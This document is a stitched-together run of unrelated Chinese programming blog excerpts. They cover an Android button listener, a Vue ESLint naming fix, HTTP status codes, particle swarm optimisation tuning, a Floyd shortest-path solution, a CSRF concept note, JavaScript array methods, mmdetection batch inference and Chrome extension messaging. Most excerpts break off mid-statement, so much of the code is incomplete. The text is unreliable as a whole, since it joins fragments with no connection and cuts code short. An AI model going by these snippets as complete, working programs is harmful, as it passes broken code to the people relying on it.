package com.example.sct.anjian2; import android.app.Activity; import android.os.Bundle; import android.view.View; import android.widget.Button; class Myonclilk implements View.OnClickListener{ //自定义的一个类 @Override public void onClick(View v) { // TODO 自动生成的方法存根 switch (v.getId()) { case R.id.button1: System.out.println("按键一被按下"); // Toast.makeText(this, "按键一被按下", 0).show(); break; case R.id.button2: System.out.println("按键二被按下"); // Toast.makeText(this, "按键二被按下", 0).show(); break; } } } public class MainActivity extends Activity { Button bu1; //定义局部变量不bu1和bu2 Button bu2; @Override protected void onCreate(Bundle savedInstanceState) { super.
报错的意思是组件名应该始终是多单词,不应该以单个单词命名组件
解决方法1: 例如当前的登陆组件名是Login.vue修改成LoginName.vue,组件名需要以驼峰式命名至少两个单词,不一定都得是LoginName.vue可以是NameLogin.vue也可以是LoginNiu.vue总之就是以驼峰式命名至少两个单词,这有些类似不同项目前缀命名了**
解决方法2: 修改配置,禁用eslint的多单词命名规则。
在vue.config.js配置中添加规则lintOnSave:false
const { defineConfig } = require('@vue/cli-service') module.exports = defineConfig({ transpileDependencies: true }) 修改后:
const { defineConfig } = require('@vue/cli-service') module.exports = defineConfig({ transpileDependencies: true, lintOnSave:false })
前言 对于一些刚刚入门的网安的小白来说,可能并不太能了解状态码的作用。这也是我前期学习时的一个状态。当你参加过HW之类的一些网安活动或者参加工作后,你会发现你经常要和响应码打交道。你在使用安全设备查看流量或是日志时,就经常会看到这些响应码…
简介 状态码(HTTP Status Code),是用以表示网页服务器超文本传输协议响应状态以3位数字组成的代码,当然你也可以称其为响应码。
所有状态码的第一位数字代表了相应的物种状态之一:
1xx:表示临时响应并需要请求者继续执行操作的状态代码2xx:表示成功处理了请求的状态代码3xx:要完成请求,需要进一步操作(通常这些代码用来重定向)4xx:表示请求可能出错,妨碍了服务器的处理5xx:表示服务器在尝试处理请求时,发生内部错误(这些错误通常是服务器本身的错误,并不是由于请求出错,当然也有可能是访问者的故意为之,使服务器本身出现错误) 状态码 1xx 该状态码表示临时响应并需要请求者继续执行操作
100(继续):请求者应当继续提出请求。服务器已收到请求的第一部分,正在等待剩余部分101(切换协议):请求者要求服务器切换协议,服务器也已确认切换协议 2xx 该状态码表示成功
200(成功):服务器已成功处理请求。一般这表示服务器正常处理了请求,并且正常返回了相应的页面201(已创建):请求成功并且服务器成功创建新资源202(已接受):服务器已接收请求,但仍未处理203(非授权信息):服务器成功处理请求,但是返回的信息可能来自另外一来源204(无内容):服务器成功处理请求,但是没有返回任何内容205(重置内容):服务器成功处理请求,但没有返回任何内容206(部分内容):服务器成功处理了部分GET请求 3xx 该状态码表示要完成请求,需要进一步操作。通常这些状态码用来重定向
300(多钟选择):针对请求,服务器可以执行多种操作。服务器可以根据请求者的(user-agent)选择一项操作,或者提供操作列表供请求者选择301(永久移动):请求的网页已永久移动到新的位置。服务器返回该状态码时,会自动将请求者转到新位置302(临时移动):服务器目前从不同位置的网页响应请求,但请求者应继续使用原有位置进行后续的请求303(查看其它位置):请求者应当对不同的位置使用单独的GET请求来检索响应时,服务器返回此状态码304(未修改):自从上次请求后,请求的网页未修改过。服务器返回此状态码时,不会返回网页内容305(使用代理):请求者只能使用代理访问请求的网页307(临时重定向):服务器目前从不同位置的网页响应请求,但请求者应继续使用原有位置来进行后续请求 4xx 表示请求可能出错,妨碍了服务器的处理
400(错误请求):表示客户端请求的语法错误,服务器无法理解。例如:url中含有非法字符,json格式出现问题…401(未授权):请求要求身份验证。一般需要登录的网站,服务器可能会返回此状态码402:保留403(禁止):服务器理解请求客户端的请求,拒绝请求404(未找到):服务器无法根据客户端请求找到资源405(方法禁用):禁用请求中指定的方法406(不接受):无法使用请求的内容特性响应请求的网页407(需要代理授权):此状态码与401类似,但指定请求者应当授权使用代理408(请求超时):服务器等候请求时超时409(冲突):服务器在完成请求是发生冲突。服务器必须在响应中包含有关冲突的信息410(已删除):请求的资源已永久删除411(需要有效长度):服务器不接受不含有效内容长度标头字段的请求412(未满足前提条件):服务器未满足请求者在请求中设置的其中一个前提条件413(请求实体过大):相应实体过大。服务器拒绝处理当前请求,请求超过服务器所能处理和允许处理的最大值414(请求的url过长):请求的url过长,服务器无法处理415(不支持的媒体类型):请求的格式不受请求页面的支持416(请求范围不符合要求):如果页面无法提供请求的范围,服务器则会返回此状态码417(未满足期望值):在请求头Expect指定的预期内容无法被服务器满足422(不可处理的实体):请求格式正确,但由于含有语义错误,无法响应 5xx 表示服务器在尝试处理请求时发生内部错误。这些错误可能是服务器本身的错误,并不是请求出错,当然也有可能是请求者的故意为之,使服务器本身出现错误
500(服务器内部错误):服务器遇到一个未预料到的状况,导致无法完成对请求的处理501(尚未实施):服务器不具备完成请求的功能。例如:服务器无法识别请求方法…502(错误网关):服务器作为网关或者代理,从上游服务器收到无效响应503(服务不可用):服务器目前无法使用。例如:超载、停机维护…504(网关超时):服务器作为网关或代理,但未及时收到上游服务器的响应505(HTTP版本不受支持):服务器不支持请求中所用的HTTP版本 常见状态码 200(成功):服务器已成功处理请求。一般这表示服务器正常处理了请求,并且正常返回了相应的页面403(禁止):服务器理解请求客户端的请求,拒绝请求404(未找到):服务器无法根据客户端请求找到资源405(方法禁用):禁用请求中指定的方法500(服务器内部错误):服务器遇到一个未预料到的状况,导致无法完成对请求的处理502(错误网关):服务器作为网关或者代理,从上游服务器收到无效响应503(服务不可用):服务器目前无法使用。例如:超载、停机维护…504(网关超时):服务器作为网关或代理,但未及时收到上游服务器的响应如有遗漏,欢迎补充… 结束语 希望本文能够帮助到你 😃
已同步更新至个人博客:https://www.hibugs.net/security/other/lamar/http-status-code
粒子群算法优化策略总结 前言1 对于惯性权重w的优化1.1 引入混沌Sine映射构造非线性随机递增惯性权重1.2 采用一种指数型的非线性递减惯性权重1.3 分策略更改惯性权重 2 对于c1、c2的优化2.1 引入正余弦函数来构造非线性异步学习因子2.2 引入对数函数构造非线性异步学习因子2.3 用SCA中的正弦项和余弦项来代替PSO中的学习因子并且引入概率p 3 种群优化3.1 使用Circle映射初始化种群3.2 精英反向学习策略3.3 带有淘汰制的随机搜索策略3.4 多种群策略: 4 对于速度更新公式的优化4.1 自适应速度更新策略 5 对于位移更新公式的优化5.1 加入一个自适应参数调整位移公式 前言 基于研究课题的需要,对粒子群算法的优化策略进行总结,根据所读论文,总结出对粒子群算法的优化主要在以下5个方面:
对于惯性权重w的优化对于c1、c2的优化种群优化对于速度更新公式的优化对于位移更新公式的优化 本篇博客会对这5个方面的优化进行总结,对于每一种具体优化,进行优化策略、参考论文、原理、作用、具体做法5个方面进行总结。
本篇博客总结的粒子群算法优化策略同样适用于其它群智能优化算法,对于优化策略的总结后面也会不断更新。
1 对于惯性权重w的优化 1.1 引入混沌Sine映射构造非线性随机递增惯性权重 参考论文–基于混沌映射和高斯扰动的改进粒子群算法MPPT控制策略研究
注意,这里是非线性随机递增惯性权重,与非线性递减惯性权重不同。
非线性递减惯性权重,前期w取值较大,具有较强的全局搜索能力,后期w取值较小,具有较强的局部搜索能力,而非线性递增惯性权重则与之相反,前期w取值较小,具有较强的局部搜索能力,后期w取值较大,具有较强的全局搜索能力。混沌Sine映射作为一种经典的混沌映射,具有良好的遍历性等优点,增加了算法的随机性,使算法在前期拥有较强的局部寻优能力的同时,在后期也拥有不错的全局寻优能力。通过混沌sine映射产生(0,1)的随机数,使得w增长的更慢,使得其前期具有更强的局部开发能力 ,改进后的惯性权重表达式如下所示:
k为当前迭代次数;kmax为最大迭代次数;wk为第k次迭代时的权重值;wmax、wmin为惯性权重的上下限分别为0.9、0.4;S(k)为混沌Sine映射。
1.2 采用一种指数型的非线性递减惯性权重 参考论文–引入Circle映射和正弦余弦因子的改进粒子群算法
惯性权重值将会随着迭代次数的不断增多而减小,并且是一种非线性、先快后慢的形式,契合了算法前期注重全局探索,后期注重局部开发的搜索特点,有利于提高算法的收敛速度和精度。
t是当前迭代次数,Tmax是设置的最大迭代次数:
1.3 分策略更改惯性权重 参考论文–基于柯西变异的多策略协同进化粒子群算法 该优化策略的核心思想是将种群分为三个部分,其中属于大范围搜索种群的使用策略1更改惯性权重,属于精细搜索种群的使用策略2更改惯性权重。使得不同种群的粒子在同一时期具有不同的探测能力和开发能力。
2 对于c1、c2的优化 2.1 引入正余弦函数来构造非线性异步学习因子 参考论文–基于改进粒子群算法的LED光源阵列优化
当c1较大、c2较小时,粒子群算法有着更好的全局搜索能力,当c1较小、c2较大时,有着更好的局部搜索能力。为了在初始阶段控制c1取较大值、c2取较小值,加强全局搜索能力,并且在最后迭代阶段让c1取较小值,c2取较大值加强局部搜索能力,使用正余弦函数来控制c1、c2,让c1的值能够非线性地减小,c2的值非线性地增加。
但是由于这篇论文的粒子群算法与其它粒子群算法不同,它是一种非线性递增惯性权重粒子群算法,即它在前期有着较强的局部搜索能力,后期有着较强的全局搜索能力,因此与其他粒子群算法不同,这里让c1非线性递增,c2非线性递减,使得算法在前期有着较强的局部搜索能力,在后期有着较强的全局搜索能力。具体改进公式如下所示:
式中:wmax、wmin分别为惯性权重的最大、最小值;t和tmax分别为当前迭代次数和最大迭代次数。
2.2 引入对数函数构造非线性异步学习因子 参考论文–基于混沌映射和高斯扰动的改进粒子群算法MPPT控制策略研究
当c1较大、c2较小时,粒子群算法有着更好的全局搜索能力,当c1较小、c2较大时,有着更好的局部搜索能力。引入对数函数构造非线性异步学习因子来平衡算法的全局开发能力和局部搜索能力,使得在初始阶段控制c1取较大值、c2取较小值,加强全局搜索能力,并且在最后迭代阶段让c1取较小值,c2取较大值加强局部搜索能力
但是本篇论文的粒子群算法是为了让算法在前期具有较强的局部开发能力,后期要有较强的全局搜索能力,所以得让c1在前期下降的快一些,c2在前期增长的快一些,所以得让c1在前期的值较小,c2在前期的值较大。
c1_max、c1_min、c2_max、c2_min为学习因子c1、c2的上下限值,分别为2.1、0.8、2.1、0.8。
2.3 用SCA中的正弦项和余弦项来代替PSO中的学习因子并且引入概率p 参考论文–引入Circle映射和正弦余弦因子的改进粒子群算法
受SCA中的搜索机制和位置更新公式的启发,用SCA中的正弦项和余弦项来代替PSO中的学习因子。并且引入概率p。p取[0,1]之间的一个随机数,当p<0.5时,采用公式(15)更新粒子速度,否则采用公式(16)更新粒子速度。其中,ω由式(14)决定,即惯性权重优化第2种方法,r1由式(17)决定,r2是[0,2π]之间的一个随机数。
引入正弦余弦因子后,学习因子不再是简单地单调递减或单调递增的变化趋势,而是成一种在[−2,2]之间震荡式的总体衰减的趋势。结合p,概率性的切换正弦函数与余弦函数作为学习因子,使种群中各粒子围绕个体最优位置和种群最优位置进行震荡衰减性的搜索移动,不仅增加了粒子探索方向的多样性,还拓宽了粒子的探索空间。再结合指数型非线性递减的惯性权重,在算法全局探索和局部开发上实现了更好的平衡。
3 种群优化 3.1 使用Circle映射初始化种群 参考论文–引入Circle映射和正弦余弦因子的改进粒子群算法
最短路径问题(short.cpp)
【问题描述】
平面上有n个点(n<=100),每个点的坐标均在-10000~10000之间。其中的一些点之间有连线。
若有连线,则表示可从一个点到达另一个点,即两点间有通路,通路的距离为两点间的直线距离。现在的
任务是找出从一点到另一点之间的最短路径。
【输入格式】
输入文件为short.in,共n+m+3行,其中: 第一行为整数n。 第2行到第n+1行(共n行) ,每行两个整数x和y,描述了一个点的坐标。 第n+2行为一个整数m,表示图中连线的个数。 此后的m 行,每行描述一条连线,由两个整数i和j组成,表示第i个点和第j个点之间有连线。 最后一行:两个整数s和t,分别表示源点和目标点。 【输出格式】
输出文件为short.out,仅一行,一个实数(保留两位小数),表示从s到t的最短路径长度。
【输入样例】
5 0 0 2 0 2 2 0 2 3 1 5 1 2 1 3 1 4 2 5 3 5 1 5 【输出样例】
3.41
#include<iostream> #include<cstdio> #include<algorithm> #include<string> #include<cmath> #include<cstring> #include<cctype> using namespace std; int a[101][3]; double f[101][101]; int n,x,y,m,s,e; int main() { freopen("short.in","r",stdin); freopen("short.out","w",stdout); cin>>n; for (int i=1; i<=n;i++) cin>>a[i][1]>>a[i][2]; cin>>m; memset(f,0x7f,sizeof(f));//初始化f数组为最大值 for (int i=1; i<=m;i++)//预处理出x、y间距离 { cin >> x >> y; f[y][x] = f[x][y] = sqrt(pow(double(a[x][1]-a[y][1]),2)+pow(double(a[x][2]-a[y][2]),2)); //pow(x,y)表示x^y,其中x,y必须为double类型,要用cmath库 } cin >> s >> e; for (int k=1;k<=n;k++)//floyed 最短路算法 for (int i=1;i<=n;i++) for (int j=1;j<=n;j++) if ((i!
61 查找整数 分数 10
作者 杨起帆单位 浙大城市学院
本题要求从输入的N个整数中查找给定的X。如果找到,输出X的位置(从0开始数);如果没有找到,输出“Not Found”。
输入格式:
输入在第一行中给出两个正整数N(≤20)和X,第二行给出N个整数。数字均不超过长整型,其间以空格分隔。
输出格式:
在一行中输出X的位置,或者“Not Found”。
输入样例1:
5 7 3 5 7 1 9 输出样例1:
2 输入样例2:
5 7 3 5 8 1 9 输出样例2:
Not Found #include <stdio.h> int main() { int n,b,i; scanf("%d %d", &n,&b); int search[20]; for(i=0;i<n;i++){ scanf("%d", &search[i]); } for(i=0; i<n; i++){ if(b==search[i]){ printf("%d", i); break; } } if(i==n){ printf("Not Found"); } } 62 数字加密 分数 15
CSRF:跨站请求伪造
*同源策略
三个相同指的是:
1. 协议相同
2. 域名相同
3. 端口相同
目的:
为了保证用户信息安全,防止恶意的网站窃取数据
限制范围:
1. cookie、LocalStorage和IndexDB无法读取
2. Dom无法获得
3. AJAX请求不能发送
*有些合理的用途也会受到影响
cookie的两个重要属性
domain:当前要添加的cookie的域名归属,如果没有明确指明则默认当前归属
path:当前要添加的cookie的路径归属,如果没有明确指明则默认当前路径
浏览器提交cookie需要满足以下两点
1. 当前域名或父域名下的cookie
2. 当前路径或父路径下的cookie
*跨域并不能获取到cookie
CSRF原理:
黑客利用已经登录的用户,诱使其访问或者登录某个早已构造好的恶意链接或者页面,然后在用户毫不知情的情况下,以用户的名义完成了非用户本意的非法操作。
一个CSRF漏洞攻击的实现,其需要由“三个部分”来组成:
1. 有一个漏洞存在(无需验证、任意修改后台数据、新增请求)
2. 伪装数据操作请求的万一链接或者页面
3. 诱使用户主动访问或登录恶意链接,出发非法操作
CSRF漏洞的目的:
利用已存在的漏洞构造了一个“恶意链接”或“html页面”,然后诱使用户点击触发此漏洞。
目标站点存在一个漏洞(CSRF),攻击者利用此类漏洞伪装了一个链接或者html页面,诱使被攻击者在登录的情况下(即当前cookie有效的情况下)点击了此伪装请求,随后在用户不知情的情况下完成了对当前用户数据的修改或者新增操作,而被修改的信息可能是用户的密码、关键信息又或者新增后台管理员等。
如有错误,欢迎批评指正[鞠躬]
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录 一、push()&&pop() unshift()&&shift()1、push():向数组的末尾添加一个或多个元素,并返回新的长度2、pop():删除并返回数组的最后一个元素3、unshift():向数组的开头添加一个或多个元素,并返回新的长度4、shift():删除并返回数组的第一个元素 二、splice():可进行增,删,改操作1、增:splice(start,0,item):向数组内添加/插入元素,并返回空数组2、删:splice(start,deleteNum):删除元素,并返回包含删除元素的数组3、改:splice(start,deleteNum,item) :从start下标开始,删除几个,并在该位置添加item。返回包含删除元素的数组。 三、slice()slice(start,end):返回的是被截取(删除的元素),不影响原数组。 四、concat()&&join()1、concat():可以把两个数组里的元素拼接成一个新的数组,返回拼接后的新数组2、 join():数组转字符串,参数默认为逗号分隔符 五、查1、indexOf(ele,start):用来查找元素在数组中第一次出现的位置,没找到返回-1。2、lastIndexOf(ele,start):从数组的末尾开始向前查找,没找到返回-13、includes(ele,start) 用来判断一个数组是否包含一个指定的值,如果是返回 true,否则false。4、find(function(currentValue,index,arr){}) 返回数组内符合条件的第一个值5、findIndex() 返回数组内符合条件的第一个值,默认返回的是索引,如果没有符合条件的元素返回 -1,Es6 六、排序和数组反转1、sort()排序2、reverse()数组反转 七、迭代(不改变原数组)1.some():数组中只要有一个元素通过了函数测试,就会返回true,否则返回false2.every(): 数组中只有所有元素通过了函数测试,才返回true,否则返回false3.forEach():没有返回值,只用来操作数据4.map():返回一个新数组5.filter():过滤数组成员,返回过滤后的新数组,遍历数组时将返回值为true的元素放在新数组中,如果没有符合条件的元素则返回空数组。 八、reduce()&&reduceRight()【待完善】1、reduce():从左到右处理数组的每个成员,最终累计为一个值2、reduceRight():从右到左处理数组的每个成员,最终累计为一个值 一、push()&&pop() unshift()&&shift() 1、push():向数组的末尾添加一个或多个元素,并返回新的长度 let arr=['html','css','js'] let len=arr.push('vue'); console.log(arr);// ['html', 'css', 'js', 'vue'] console.log(len);//4 2、pop():删除并返回数组的最后一个元素 let arr=[1,2,3,4,5] let r=arr.pop(5) console.log(arr);//[1, 2, 3, 4] console.log(r);//5 3、unshift():向数组的开头添加一个或多个元素,并返回新的长度 let arr = ['html', 'css', 'js'] let ln= arr.unshift('vue'); console.log(arr);// ['vue', 'html', 'css', 'js'] console.log(ln);//4 4、shift():删除并返回数组的第一个元素 let arr = [1, 2, 3, 4, 5] let r = arr.
MMdetection批量推理图片 前言批量推理图片注意事项 前言 mmdetection作为一个优秀的开源目标检测算法库,在训练模型方面是相当的方便,但是某些时候使用它进行推理时就有点难受,本文就演示如何批量推理图片(多张图片存放在文件夹中),mmdetection的版本是2.27.0
批量推理图片 在mmdetection中想测试图片那必须得有对应的标注信息文件,要是没有的话调用官方api只能一张一张推理,慢的要死,还是自己弄一个文件靠谱。可以在根目录下创建一个batch_infer.py的文件,这里需要调用推理的api,我直接贴上代码:
import argparse import os from mmdet.apis import inference_detector, init_detector #, show_result_pyplot import cv2 from pathlib import Path def parse_args(): parser = argparse.ArgumentParser( description='MMDet test (and eval) a model') parser.add_argument('--config', type=str, help='配置文件路径') parser.add_argument('--checkpoint-file', type=str, help='权重文件路径') parser.add_argument( '--img-dir', type=str, help='待检测图片路径') parser.add_argument('--out-dir', type=str, help='保存检测图片路径') parser.add_argument( '--gpu-ids', type=int, nargs='+', help='(Deprecated, please use --gpu-id) ids of gpus to use ' '(only applicable to non-distributed training)') parser.add_argument( '--gpu-id', type=int, default=0, help='id of gpu to use ' '(only applicable to non-distributed testing)') parser.
element ui 表单验证单选框是否被选中的小问题 问题:当我用 sex: [{ required: true, message: '请选择性别', trigger: 'change' }]时发现,只要点击单选框的按钮它就会出现请选择性别的提示。
解决:这是因为我的prop和v-model设置的名字不一致导致的,如果不一致,它就无法动态根据你的选择去验证了。
正确示例代码如下:
<template> <el-form :model="form" :rules="rules" ref="form"> <el-form-item label="性别" prop="sex"> <el-radio-group v-model="form.sex"> <el-radio label="male">男</el-radio> <el-radio label="female">女</el-radio> </el-radio-group> </el-form-item> <el-form-item> <el-button type="primary" @click="submitForm">提交</el-button> </el-form-item> </el-form> </template> <script> export default { data() { return { form: { sex: '', radio:'' }, rules: { sex: [{ required: true, message: '请选择性别', trigger: 'change' }] } } }, methods: { submitForm() { this.
以下脚本就是错误所在 这里可以通过打印当前界面的标签ID
作用:popup.js向content.js 通信
效果:需要看到它们能正常通信(但切发生了错误,此时程序界面错误信息也提供大致方向信息)
注意:这里是自己所见的错误之仅供参考
chrome.tabs.query({ active: true, currentWindow: true }, function (tabs) { console.log("<popup 界面 ID>", tabs[0].id); chrome.tabs.sendMessage(tabs[0].id, {}, function (response) { console.log(response, 'content.js回传过来的信息'); }); }); 1、popup 界面 红线:popup.js向background.js通信
黄线:获取当前界面的标签ID
绿线:从storage的local获取contentID,这就正常可以跟content.js通信啦
2、background 界面 content.js界面也是同上图中的红线一样向background.js通信的
就看到两条绿线的位置,那里就是利用storage存储对应的标签啦
3、解决问题 图一中绿线指向的脚本就是可以正常通信的
原因:background.js可以使用以下脚本能获取content.js标签ID,popup.js获取的却是自个界面的标签ID
// Background 界面 chrome.tabs.query({ active: true, currentWindow: true }, function(tabs) { console.log("<Background 界面 ID>", tabs[0].id); // chrome.tabs.sendMessage(tabs[0].id, {}, function (response) { // console.log(response, 'content.js回传过来的信息'); // }); }); // popup 界面 -------------------------------------------------------------------------------- /* `background.